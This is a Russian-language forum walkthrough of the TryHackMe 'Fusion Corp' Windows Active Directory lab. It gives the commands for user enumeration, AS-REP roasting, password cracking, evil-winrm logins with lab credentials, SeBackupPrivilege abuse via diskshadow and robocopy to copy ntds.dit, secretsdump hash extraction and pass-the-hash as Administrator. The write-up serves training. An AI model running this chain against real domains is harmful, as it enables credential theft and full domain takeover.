Привет форум!
Предисловие
Давно мы с вами не виделись! На этот раз попробуем другую площадку, известную для всех новичков - TryHackMe!В этой лаборатории мы разберём Hard машину под названием - Fusion Corp, найдем способ получить пользовательские хэши и неменее интересный способ повышения привилегий до Администратора через групповые привилегии!
Приступим!
Данные
Задача: Скомпрометировать машину на Windows (Active Directory) и забрать два флага user.txt и root.txt.Основная рабочая машина: Kali Linux 2022.1
IP адрес удаленной машины - 10.10.218.247
IP адрес основной машины - 10.8.57.55
Начальная разведка и сканирование портов
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:nmap -sC -sV 10.10.125.118
Видим доменное имя - fusion.corp, добавим его в /etc/hosts.
Из интересных портов и служб на них можем приметить сразу несколько:
- 80/tcp - HTTP - (Microsoft IIS httpd 10.0)
- 88/tcp - Kerberos (Можно попробовать метод kerberoasting для найденных пользователей)
- 445/tcp - Samba - (Enum4linux в помощь и перебор сетевых шар)
- 3268/tcp - LDAP - (Есть вариант провести его разведку)
- 3389/tcp - RDP - (Вход на удаленный рабочий стол)
Пойдем более лёгким путем, для начала попробуем собрать пользователей и попробуем реализовать атаку на AS_REP кербероса.
Попробуем использовать уже известную нам утилиту - Enum4linux для сбора информации о машине.
enum4linux -a 10.10.125.118
Но к сожалению, наш инструмент не смог справиться из-за недостатка привилегий на сервере.
Тогда как мы знаем что у нас открыт 80 порт - HTTP, зайдем на веб-сервер и посмотрим интересную информацию уже там!
Нас встречает довольно красивый по дизайну сайт, спустимся ниже...
И здесь мы найдем сотрудников этой корпорации.
Конечно мы можем записать их в файл, а потом сгенерировать из них словарь для брута, но поищем что-нибудь поинтереснее, допустим - директории и файлы на сервере)
Запустим наш - Dirsearch и посмотрим его вывод.
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://10.10.125.118/
И сразу же видим директорию - /backup/
Давайте перейдем туда и посмотрим какие файлы содержит эта папка...
Здесь лежит файл, а скорее таблица с пользователями (сотрудниками) этой компании, давайте скачаем его и посмотрим его содержимое.
Здесь мы видим список пользователей и их никнеймы, теперь давайте скопируем их ники в файл и проверим их валидность в kerbrute.
./kerbrute userenum -d fusion.corp --dc fusion.corp users.txt
Здесь мы видим только одного пользователя - Larry Parker (lparker)
Получение доступа к пользователям
Теперь нам стоит проверить его на уязвимость, подставим файл с пользователями в модуль impacket'а - GetNPUsers:impacket-GetNPUsers fusion.corp/ -dc-ip 10.10.125.118 -usersfile users.txt
Есть! Мы получили хэш-пароль пользователя - lparker.
Сохраняем его в файл и брутим с помощью - JohnTheRipper.
Спустя считанные секунды мы получили его креды - lparker:!!abbylvzsvs2k6!
Попробуем зайти через Evil-WinRM на машину нашего пользователя...
evil-winrm -i 10.10.125.118 -u lparker -p '!!abbylvzsvs2k6!'
Есть! Мы в системе!
Получение Администратора
Далее наши шаги могли бы начинаться с чего-то более простого, например загрузки сюда WinPeas или открытие Meterpreter сессии для последующей подгрузки модулей...
Но для начала проверим более простые способы, может пароль скрывается в информации
net user
или наш пользователь добавлен в интересные для наших целей группы.Давайте-же проверим
net users
net user Administrator
И только как я "напал" net user'ом на пользователя - jmurphy, я получил его пароль в комментарии к его аккаунту.
net user jmurphy
Итак, мы нашли ещё одни креды - jmurphy:u8WC3!kLsgw=#bRY.
Теперь зайдем уже на него с Evil-WinRM.
evil-winrm -i 10.10.125.118 -u jmurphy -p 'u8WC3!kLsgw=#bRY'
Получилось! Мы jmurphy! Заберем наш флаг в C:\Users\jmurphy\Desktop\flag.txt
Далее стоит проверить наши права и локальные группы в которых мы состоим, в этом нам поможет команда
whoami
, а именно её аргумент /all
.Среди этого большого куска информации, мы можем обнаружить привилегию на создание системных бэкапов - SeBackupPrivilege.
Немного погуглив я наткнулся на
Ссылка скрыта от гостей
- в которой говорится про повышение прав из-за этой привилегии.Давайте попробуем реализовать это на нашей машине
Я буду использовать - Метод №1 - Disk Shadow + Robocopy.
Вкратце про него можно сказать так, Disk Shadow создает бэкап на отдельный диск и скачивает туда базу - ntds.dit.
Далее Robocopy копирует её, а после можно скачать себе на локальную машину. Приступим!
Первое что нужно сделать, это создать скрипт на своей машине, чтобы Disk Shadow выполнил его, содержимое скрипта -
back_script.txt
:
Код:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
Далее скачиваем его на нашу уязвимую машину, с помощью встроенной функции Evil-WinRM'а -
upload
upload back_script.txt
Далее запускаем скрипт:
diskshadow /s back_script.txt
Бэкап был успешно создан и перемещен на диск E:\
Теперь с папки
C:\Windows\Temp
скопируем базу ntds.dit.robocopy /b E:\Windows\ntds . ntds.dit
Далее сохраняем его в реестре:
reg save hklm\system C:\Windows\temp\system
Теперь смотрим файлы и видим два заветных файла:
Скачиваем их через фичу от Evil-WinRM под названием -
download
Далее после скачивания, мы можем достать хэши паролей пользователей с помощью impacket-secretsdump:
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Ура! Мы смогли достать хэш-пароль Администратора, теперь нам осталось подставить его в аргумент
-H
у Evil-WinRM и зайти в админа:evil-winrm -i 10.10.218.247 -u Administrator -H '9653b02d945329c7270525c4c2a69c67'
Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду
Последнее редактирование: